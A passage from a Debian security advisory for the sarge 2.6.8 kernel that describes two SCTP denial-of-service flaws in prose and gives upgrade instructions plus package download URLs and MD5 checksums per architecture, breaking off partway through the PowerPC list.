The "Mu security team" discovered that fragmented SCTP control
chunks can trigger kernel panics, which allows for denial of
service attacks.
CVE-2006-2274
It was discovered that SCTP packets with two initial bundled data
packets can lead to infinite recursion, which allows for denial of
service attacks.
The following matrix explains which kernel version for which architecture
fix the problems mentioned above:
Debian 3.1 (sarge)
Source 2.6.8-16sarge3
Alpha architecture 2.6.8-16sarge3
HP Precision architecture 2.6.8-6sarge3
Intel IA-32 architecture 2.6.8-16sarge3
Intel IA-64 architecture 2.6.8-14sarge3
Motorola 680x0 architecture 2.6.8-4sarge3
PowerPC architecture 2.6.8-12sarge3
IBM S/390 architecture 2.6.8-5sarge3
Sun Sparc architecture 2.6.8-15sarge3
Due to technical problems the built amd64 packages couldn't be processed
by the archive script. Once this problem is resolved, an updated DSA 1103-2
will be sent out with the checksums for amd64.
The following matrix lists additional packages that were rebuilt for
compatibility with or to take advantage of this update:
Debian 3.1 (sarge)
fai-kernels 1.9.1sarge2
We recommend that you upgrade your kernel package immediately and reboot
the machine. If you have built a custom kernel from the kernel source
package, you will need to rebuild to take advantage of these fixes.
Upgrade Instructions
- --------------------
wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.
If you are using the apt-get package manager, use the line for
sources.list as given below:
apt-get update
will update the internal database
apt-get upgrade
will install corrected packages
You may use an automated update by adding the resources from the
footer to the proper configuration.
Debian GNU/Linux 3.1 alias sarge
- --------------------------------
Source archives:
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-source-2.6.8_2.6.8-16sarge3.dsc
Size/MD5 checksum: 1002 c13d8ebcabab9477e9dbf7a5d66fa4d4
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-source-2.6.8_2.6.8-16sarge3.diff.gz
Size/MD5 checksum: 1043822 9dc3ae088c90a7be470b9436ca317fcc
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-source-2.6.8_2.6.8.orig.tar.gz
Size/MD5 checksum: 43929719 0393c05ffa4770c3c5178b74dc7a4282
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-image-2.6.8-alpha_2.6.8-16sarge3.dsc
Size/MD5 checksum: 812 822e18074a76927a0a91c83916c991bb
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-image-2.6.8-alpha_2.6.8-16sarge3.tar.gz
Size/MD5 checksum: 39108 45f3b6b40470a81768f113160754fdbd
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-hppa_2.6.8-6sarge3.dsc
Size/MD5 checksum: 1008 6fa522a94872155497a0e057a05f8b61
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-hppa_2.6.8-6sarge3.tar.gz
Size/MD5 checksum: 67361 863b56c6386182f58fda2054099e9e52
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-i386_2.6.8-16sarge3.dsc
Size/MD5 checksum: 1047 294c981159570b5253bc877ce0543b12
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-i386_2.6.8-16sarge3.tar.gz
Size/MD5 checksum: 90731 3215b0f2a0dc926db6e05b04ff5760ed
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-ia64_2.6.8-14sarge3.dsc
Size/MD5 checksum: 1191 e26e2149236092d9227773a904eaed04
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-ia64_2.6.8-14sarge3.tar.gz
Size/MD5 checksum: 64130 03de4cad1ccfa5ce38f5b4b97b71f5ad
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-m68k_2.6.8-4sarge3.dsc
Size/MD5 checksum: 874 2e925606f9143b774ab2e86a12d62c44
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-m68k_2.6.8-4sarge3.tar.gz
Size/MD5 checksum: 15464 7dfeb923284a92f3bca5e8ef62a52498
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-patch-powerpc-2.6.8_2.6.8-12sarge3.dsc
Size/MD5 checksum: 1071 9e2657e0a79bd6b3cde0df2e5c9aa77e
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-patch-powerpc-2.6.8_2.6.8-12sarge3.tar.gz
Size/MD5 checksum: 26926 5f6c84921c0f6041fdd269a6c66a0568
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-s390_2.6.8-5sarge3.dsc
Size/MD5 checksum: 846 89d3a1f59fb514c8c5a195e91eaa1997
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-s390_2.6.8-5sarge3.tar.gz
Size/MD5 checksum: 12972 e3c65e0b2998dad3c440a0c1af5cd99f
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-sparc_2.6.8-15sarge3.dsc
Size/MD5 checksum: 1036 31e7168c06b98e03789c100b6a6fcf67
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-sparc_2.6.8-15sarge3.tar.gz
Size/MD5 checksum: 24369 6c9e2b0e3a3f625cc4103b385f0c093c
Architecture independent components:
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-doc-2.6.8_2.6.8-16sarge3_all.deb
Size/MD5 checksum: 6184022 54432fcfa3a56c502b0feabe6723c467
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-patch-debian-2.6.8_2.6.8-16sarge3_all.deb
Size/MD5 checksum: 1079878 a2ca885ba3b9b30d211c26647524cbc9
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-source-2.6.8_2.6.8-16sarge3_all.deb
Size/MD5 checksum: 34941458 74c1b17e994280ac14d7116a52b771bf
http://security.debian.org/pool/updates/main/k/kernel-source-2.6.8/kernel-tree-2.6.8_2.6.8-16sarge3_all.deb
Size/MD5 checksum: 35082 7b08d82ec9046359cd85ea87aad96995
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-patch-2.6.8-s390_2.6.8-5sarge3_all.deb
Size/MD5 checksum: 10934 0d1c81689deeaa145be9e4d3ae140a81
Alpha architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-headers-2.6.8-2_2.6.8-16sarge1_alpha.deb
Size/MD5 checksum: 2757876 e94cdb8d12552d293018c7ca24199f47
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-headers-2.6.8-2-generic_2.6.8-16sarge1_alpha.deb
Size/MD5 checksum: 230608 fdf2cc6f010f2b618672422c3293f3b9
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-headers-2.6.8-2-smp_2.6.8-16sarge1_alpha.deb
Size/MD5 checksum: 225502 2a21bf8197792a789420b1838526186f
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-headers-2.6.8-3_2.6.8-16sarge3_alpha.deb
Size/MD5 checksum: 2759828 544e1f44b4cebfaf97f4ae1870b56ab1
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-headers-2.6.8-3-generic_2.6.8-16sarge3_alpha.deb
Size/MD5 checksum: 232152 9ba670970518572ad7db755e7888ee8a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-headers-2.6.8-3-smp_2.6.8-16sarge3_alpha.deb
Size/MD5 checksum: 227100 a836d721852b11fa6422f33dc81a5415
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-image-2.6.8-2-generic_2.6.8-16sarge1_alpha.deb
Size/MD5 checksum: 20226800 f627945f7f8216fbe6961a9559766f29
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-image-2.6.8-2-smp_2.6.8-16sarge1_alpha.deb
Size/MD5 checksum: 20068720 7aa6c0137c94e2e7ee45e5ae702cfe27
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-image-2.6.8-3-generic_2.6.8-16sarge3_alpha.deb
Size/MD5 checksum: 20220874 d9c1642300f72cc5f3fc3b04865b3b3d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-alpha/kernel-image-2.6.8-3-smp_2.6.8-16sarge3_alpha.deb
Size/MD5 checksum: 20073352 1faa9472c15dd6142221fec2261b5628
HP Precision architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-2_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 2798740 3bd227d7f6ce63d13f4eb4cef3cc7efa
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-2-32_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 209500 8b284495343adf74bca8219421f4b48d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-2-32-smp_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 208722 941a680674931ec594e3512c5736c9bf
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-2-64_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 208356 7ab2df2b04391d75500083585a96701b
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-2-64-smp_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 207502 0a840281a00f4762978af411d7a3e7fb
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-3_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 2802244 f82eaa9411813bbdee2e0c268a067c81
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-3-32_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 211350 c221830c715cfebb1acb383d8f7c6a8a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-3-32-smp_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 210570 96c096a16a6291f4b40716ac939bd063
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-3-64_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 210220 fc6c20856e898e4bd881711e6392d4e9
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-headers-2.6.8-3-64-smp_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 209468 6a00248dcf25809f02f7ab585429f27b
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-2-32_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 16020358 6423b4288f949286ce1c70a743d03373
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-2-32-smp_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 16926452 be46b30fdb54c08c6cef2fcf7c9a2450
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-2-64_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 17472682 d8ecab478805553c2f978dd405dca57d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-2-64-smp_2.6.8-6sarge1_hppa.deb
Size/MD5 checksum: 18305956 42ae9163eaba822e863ea8dd2cdedcaa
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-3-32_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 16029232 665d462c1fae45714ff948289c8a3457
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-3-32-smp_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 16927312 a69c9e976ab6810bf7043a15daa1dd29
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-3-64_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 17480298 66e35e40e7e2d82370f7ccba7544a59a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-hppa/kernel-image-2.6.8-3-64-smp_2.6.8-6sarge3_hppa.deb
Size/MD5 checksum: 18306822 88ade3c07fc414c82bf589def0bda600
Intel IA-32 architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-2_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 2777236 af649947c652a9486461b92bbc33be8a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-2-386_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 256920 88db1b684f215fdd35de0989f148b57f
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-2-686_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 254646 553205bb17cfc57f4c4a7aadff46650a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-2-686-smp_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 251590 51ebd6202b7f347f66df0e189b2a3946
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-2-k7_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 254818 746967059979238eb49cfdcba572c07b
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-2-k7-smp_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 251708 33a61355c7a48d87b7570b772e454760
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-3_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 2779348 210a335431d029842eb82036d5326edf
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-3-386_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 258446 1d48b727a22487e4b34f4894b2a9a7f2
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-3-686_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 256322 8f73439c2a920c66ae05d3ceba45229a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-3-686-smp_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 253564 4ce8f253c15562e9d11a985e135d94b4
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-3-k7_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 256504 5a5c2acd3ef2fb3764489ed77865739e
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-headers-2.6.8-3-k7-smp_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 253486 48f046411662bdde50195f8bdb421efa
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-2-386_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 14058198 fd607b13caf99093ef31071ff7395d6d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-2-686_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 15531820 5871afdf04de65bda6f5eb3266b0621d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-2-686-smp_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 15339250 f3ab94a1304a28732cea6be8dd871ac7
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-2-k7_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 15258514 cc888a3d69727d61b86a7f0945a51eff
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-2-k7-smp_2.6.8-16sarge1_i386.deb
Size/MD5 checksum: 15118194 fb0e7f6b830b7a012f06bf7c25ff15cc
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-3-386_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 14063774 13d8810b179bb8408645e7fab57d114a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-3-686_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 15536484 0a47b2f9fc33d4b7a52eb68b54419c82
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-3-686-smp_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 15346402 fffd9fb96343167ccc32356fa307152a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-3-k7_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 15261026 cbdee84292a612fddca022377e38eebb
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-i386/kernel-image-2.6.8-3-k7-smp_2.6.8-16sarge3_i386.deb
Size/MD5 checksum: 15124168 248b85e7c59930aeb63fda6a0366b9a2
Intel IA-64 architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6-itanium_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6606 27049d0c329dc1cad092b2d53c3322ec
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6-itanium-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6678 f3967dddbec5691733d49246d09f8cb3
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6-mckinley_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6638 acc1b57c5a246304f9cee279574811e9
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6-mckinley-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6706 5c28f912ecc42291a9ec3ef0f13c6041
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-2_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 3097054 691f7cd4d1b2f184e50ab566f20a13e4
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-2-itanium_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 198662 72e0e4b4331b8a600de3a98d6ac59a82
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-2-itanium-smp_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 197920 6e19efeac81a2a9416328af58316c4cb
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-2-mckinley_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 198394 6d946fcc7b1fcf88c9ee9a47f7015384
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-2-mckinley-smp_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 197828 8be7e8290bd8e7cf1b9c162c9e369b36
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-3_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 3098862 aee4e1b99a34047fbf47941e2dced300
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-3-itanium_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 199934 484af4636ad4d64ecbf89dd7b47cda03
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-3-itanium-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 199302 8b6e3253f9c04054e1e9d2066e4323c0
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-3-mckinley_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 199582 8b97de7837305ad8728bc0ab4bfeccb1
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-headers-2.6.8-3-mckinley-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 199190 508601b56facbca5211e2e3f1a819d4e
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6-itanium_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6602 dea61776e4279d8906f3d552af3ed55c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6-itanium-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6670 d8ab34493a8cfc857dccd8a84743017a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6-mckinley_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6630 04e4d5b971ec3523b80a3f2373afbf73
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6-mckinley-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 6700 f5cc48a00ca305eaea622738ce0d6570
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-2-itanium_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 22041474 4419d9b68b593646ed49ff194fcbcc9e
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-2-itanium-smp_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 22666884 7aab34e05eed41eee4b56ca45e1c4c2c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-2-mckinley_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 21959066 27fe9dc58a04851cfbbac5b4a53f21ae
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-2-mckinley-smp_2.6.8-14sarge1_ia64.deb
Size/MD5 checksum: 22689900 4011393c3e3a94354d81c909a1aaef91
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-3-itanium_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 21476428 ec3548487a558e67913419b84c84999c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-3-itanium-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 22133136 0d6292568fadcc40f65e87314315165c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-3-mckinley_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 21408908 539197e6af86ff9583cf43d12ad109b1
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-ia64/kernel-image-2.6.8-3-mckinley-smp_2.6.8-14sarge3_ia64.deb
Size/MD5 checksum: 22154322 a4ae9740b9459b0a43c47b5b6e546515
Motorola 680x0 architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-amiga_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 3305628 8029426256d755ea724ed7b46243c1ba
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-atari_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 3101728 677b103a57ce6de26b072245dfd585f7
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-bvme6000_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 3014324 f7a8e8b9c7d4eacecd1f1d69f1ee2c34
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-hp_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 2986734 fd1f14cc2856a55bb6948bdf956ea0d5
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-mac_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 3173334 e32fa0fd9460b9e19bd24c8cc413684f
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-mvme147_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 2978518 6e682497437fa9d1912ea5fd3374c82f
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-mvme16x_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 3047534 f9daecf9203da30c95cd9ab9647d8c54
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-q40_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 3108200 9a81b37d60bdcf95d6cbc3ca5eb83d1a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-m68k/kernel-image-2.6.8-sun3_2.6.8-4sarge3_m68k.deb
Size/MD5 checksum: 2992046 cfae06d516a2695eb961e574570661a4
PowerPC architecture:
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-3-power3_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 407330 3025ba5c61db0cd42b9d0ab1a3e01b1c
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-3-power3-smp_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 406624 21742d40c3c0bac0d64e970c0944c59f
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-3-power4_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 406548 b9ce59161b3faf818f77239a468828e4
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-3-power4-smp_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 406518 e40256427db90a027ed2be8a7b50997c
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-3-powerpc_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 406882 c899bf1d81895ee43306a8b19e3c8ee8
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-3-powerpc-smp_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 407320 45108a12629a9eddd40b071db4b92e4e
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-power3_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 405670 bd347754ea8c4cee14686b207e6cf46d
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-power3-smp_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 405666 1dec752373178a4aef51f74c6d917073
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-power4_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 405598 c39f371744ca92eec853ad8746f0f009
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-power4-smp_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 405568 b346b94897fca3c678daadc99b515428
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-powerpc_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 405912 14475ec4cdc9b337ad2dc0ab3a772bdb
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-build-2.6.8-powerpc-smp_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 405698 4c3c94aa9afb4e6d73986bbfa26484bb
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-headers-2.6.8_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 5143830 3a6cd285eba77baae74a2a16f8029be2
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-headers-2.6.8-3_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 5147620 32c5daf3656ab15416c3a42a5be21afc
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-3-power3_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 13577038 981f85ad155781610e2069f28b1eb4e7
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-3-power3-smp_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 13929444 b11a91f117e0d25b6df7a56cd2c0f0d6
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-3-power4_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 13560822 44f1276a6cd811646ebf3ccb2da06067
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-3-power4-smp_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 13920572 fd32c8d3f0dbb55430075b57546f9390
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-3-powerpc_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 13594454 93d70ceed88a16e7af0fe3db1a2c5baa
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-3-powerpc-smp_2.6.8-12sarge3_powerpc.deb
Size/MD5 checksum: 13847204 5f22d24e351ce6040f9fa995e5a7906a
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-power3_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 13494684 2ab633af498a4486190d3754c530e7f4
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-power3-smp_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 13855580 1245c9d474405a277864484b0237252f
